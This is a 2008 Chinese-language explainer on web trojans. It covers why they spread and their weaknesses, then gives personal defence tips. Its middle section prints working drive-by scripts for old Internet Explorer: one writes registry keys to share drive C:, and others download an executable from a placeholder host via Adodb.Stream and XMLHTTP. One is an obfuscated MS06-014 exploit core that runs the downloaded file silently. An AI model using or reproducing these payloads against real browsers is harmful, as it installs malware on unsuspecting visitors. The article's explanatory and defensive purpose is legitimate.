黑客基础知识系列之关于网页木马综述

  • 来源: 驱动中国 作者: xuqingzhong   2008-06-14/11:09
  • 一、总论

    网页木马一直是国内网络流行的东西。(金州注释,据朋友说,这种东西在国外并不流行。)之所以比较流行金州觉得有如下原因:

    1.网页木马在各种网络威胁中技术含量相对来说属于较低的类型。这就意味着他便于制作推广。

    2.免费空间的增多和个人建站的流行,给网页木马客观附带的造就了很大的生存空间。

    3.国内上网人数的奇迹般的递增,使网页木马的受众层增多。

    4.国内上网人群目前普遍安全意识较低,很多人使用盗版系统,有时候无法更新补丁或及时更新补丁,(金州注释,国内网页木马大多是针对windows系统的ie的)使针对ie漏洞型的网页木马生存时间延长。

    5.网页木马见效快,(金州注释,这个并不是证明网页木马效率高,而是因为受众多)

    6.很多间接推动网络安全,擅长脚本技术的人很及时地推出了众多简便式的网页木马生成器或网页木马程式。此中icefox(冰狐浪子EST),LCX(haiyangtop.126.com)等对于国内网页木马的流行起到了奠基的作用。

    以上jinzhou只是浅显说到网页木马之所以流行的原因。其中也可看到网页木马目前来说还是具有一定优点的,尤其是制作操作简单。和相对收效快的特点。下面简单说说网页木马的一些不足。

    1.很多网页木马针对的是特有的ie漏洞。(金州注释,关于详细情形,以下论述)一旦漏洞补上,网页木马失效。ie的漏洞相对系统的核心漏洞来说,修补比较容易。(金州注释,何况有些人根本就不是用ie和ie内核浏览器)

    2.网页木马的绝对命中率较低,一般来说10%就很不错了。(金州注释,这由多种原因造成,比如受众方做了其他限制,一些杀毒软件或监控软件的干扰和警示,对相关运行网页木马的一些控件的解除,比如更名或删除debug和wsh等会使一些网页木马无法成功,一些安全监视工具会提示异常运行等等)

    3.网页木马没有固定目标。缺乏针对性,一定意义上,它只是等着别人来中,它不能主动地选择受众。

    4.网页木马很难感染一些重要部门的重要机器而不被发现。网页木马常常无力顾及木马被下载后的深入隐藏。很容易被一些有基础安全知识的人查获。

    5.因为网页木马一旦应用,即等于间接性的公开了脚本,具有时效性。几乎不可能有永远好使的网页木马,(金州注释,指的是网页木马的流程),而一些rootkit甚至能隐藏10年。网页木马类流行很少过年。

    目前网页木马的主要危害,金州觉得主要是利用网页木马控制大量机器,间接形成僵尸网络进行利用tcp/ip协议漏洞的DOS/DDOS攻击。和一些其他的商业非法活动,例如投票,发布商业广告,作为跳板的一些渗透等。很多时候能造成极大的危害。也就是说网页木马的利用趋势已经由开始的恶作剧性的对某些机器的窥视变成了利用受众机器形成一种力量转做为攻击和谋求商业利益的武器。

    二、网页木马的基本工作流程

    网页木马的基本工作流程,大致是,

    1.受众打开含有网页木马代码的网页;

    2.网页木马利用ie漏洞或者一些脚本功能下载一个可执行文件或脚本。(金州注释,很多时候根据需要附带同时纪录用户ip)

    如以下代码

     

    <script language="javascript"> 
    run_exe="<OBJECT ID=\"RUNIT\" WIDTH=0 HEIGHT=0 TYPE=\"application/x-oleobject\"" 
    run_exe+="CODEBASE=\"jinzhou.exe#version=1,1,1,1\">" 
    run_exe+="<PARAM NAME=\"_Version\" value=\"65536\">" 
    run_exe+="</OBJECT>" 
    run_exe+="<HTML><H1>金州提示,网页加载中,请稍后....正在运行木马</H1></HTML>"; 
    document.open(); 
    document.clear(); 
    document.writeln(run_exe); 
    document.close();

    保存为jinzhou.html然后在同目录下放一个exe文件,起名为jinzhou.exe.运行jinzhou.html,会出现金州提示,网页加载中,请稍后....正在运行木马,然后那个jinzhou.exe就会运行。(金州注释,本地和远程都会提示,一般稍有一点安全意识的都不会中,不过事实上这种方法现在仍然会使很多极其不小心的人上当。此流程比较经典。)

     

    < script language=javascript> 
    document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>"); 
    function f(){ 
    a1=document.applets[0]; 
    a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}"); 
    a1.createInstance(); 
    Shl = a1.GetObject(); 
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
    Flags",402,"REG_DWORD"); 
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
    Type",0,"REG_DWORD" 
    ); 
    Shl.RegWrite ("HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Network\\LanMan\\RWC$\\
    Path","C:\\"); 
    } 
    function init() 
    { 
    setTimeout("f()", 1000); 
    } 
    init();
    #p#分页标题#e#

    调用本地控件写注册表的代码。此代码是共享c,当然你可以共享任何盘。

     

    <script language="vbscript"> 
    
    const adTypeBinary = 1 
    const adSaveCreateOverwrite = 2 
    const adModeReadWrite = 3 
    
    set xmlHTTP = CreateObject("Microsoft.XMLHTTP") 
    xmlHTTP.open "GET","http://www.xxx.com/jinzhou.EXE", false 
    xmlHTTP.send 
    contents = xmlHTTP.responseBody 
    
    Set oStr = CreateObject("ADODB.Stream") 
    oStr.Mode = adModeReadWrite 
    oStr.Type = adTypeBinary 
    oStr.Open 
    
    oStr.Write(contents) 
    oStr.SaveToFile "c:\\jinzhou.exe", adSaveCreateOverwrite 
    
    </script>

    上面以前的Adodb.Stream文件下载代码核心部分。

     

    <script language="VBScript">
    on error resume next
    dl = "http://www.xxx.com/jinzhou.exe"
    Set df = document.createElement("object")
    df.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
    str="Microsoft.XMLHTTP"
    Set x = df.CreateObject(str,"")
    a1="Ado"
    a2="db."
    a3="Str"
    a4="eam"
    str1=a1&a2&a3&a4
    str5=str1
    set S = df.createobject(str5,"")
    S.type = 1
    str6="GET"
    x.Open str6, dl, False
    x.Send
    fname1="g0ld.com"
    set F = df.createobject("Scripting.FileSystemObject","")
    set tmp = F.GetSpecialFolder(2) 
    fname1= F.BuildPath(tmp,fname1)
    S.open
    S.write x.responseBody
    S.savetofile fname1,2
    S.close
    set Q = df.createobject("Shell.Application","")
    Q.ShellExecute fname1,"","","open",0
    </script>

    以上MS06014利用代码核心。

    综合以上,大致可以看出,网页木马的基础就是非法让受众在不知觉得情况下改变用户配置或下载运行非法程序以非法谋取自己的非法利益。不在一一举例。在网页木马的历史上影响重大的还有MHT漏洞即Windows在处理畸形MHTML,能执行任意远程脚本代码。(金州注释,国内一般称为chm木马。冰狐浪子对此有很详细的文章。)木马有2个组成部分,一个是利用MHT漏洞的恶意网页代码,另一个是包含恶意程序的CHM文件。把它们都放到网站上,用户访问恶意网页时,会在没有任何安全提示的情况下,自动下载远程CHM文件中的程序并运行。HHCTRL漏洞,HTML帮助ActiveX控件存在问题,利用它可以进行跨安全区域脚本执行,从而可以下载并自动执行远程恶意程序。HTA漏洞,IE浏览器允许HTA类型的代码以全部权限运行。远程HTA代码可以调用Wscript.Shell等控件执行用户本地的任意程序,iframe溢出等等。网上相关资料较多。不再赘述。总体来说,网页木马的制作并不复杂,它的重点往往会在加密和辅助的隐藏上。

    三、网页木马的基本防范

    网页木马的基本防范大概如下几点,(金州注释,针对个人的,网页木马绝大多数受众都是个人。)

    1.卸载或者改名whs脚本宿主。删除注册表{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}

    {0D43FE01-F093-11CF-8940-00A0C9054228},运行regsvr32 scrrun.dll /u 卸载控件等。

    2.在我的电脑,属性,高级,环境变量中,PATHEXT删除一些危险的变量,如vbs,vbe,js等。或在文件夹选项,文件类型中更改vbs,Windows Script Host等的关联。

    3.禁用ftp,tftp,或改变端口。等防止网页木马的利用途径。找到C:\windows\system32\drivers\Etc 记事本打开其中的services文件会看到一些对应的端口,改一下保存就行了。改名debug等。

    4.最好安装杀毒软件。打开实时监控,一般网页木马杀毒还是会报警的。

    5.提高警惕性,一旦发现ie运行不正常,比如卡或者无故死掉,或者一场闪出,养成立刻检查系统的习惯。

    6.多注意查看网页源代码,无论多么高明的网页木马,在源代码中也可以看出端倪。

    7.注意更新系统补丁。

    等等。

    (金州注释,以上为个人见解,技术日新月异,不一定有效全面,个人愚笨,在学习中,不足之处见谅。另,文中一些代码可能会被杀毒报警,无害。)


    评论 {{userinfo.comments}}

    {{money}}

    {{question.question}}

    A {{question.A}}
    B {{question.B}}
    C {{question.C}}
    D {{question.D}}
    提交

    驱动号 更多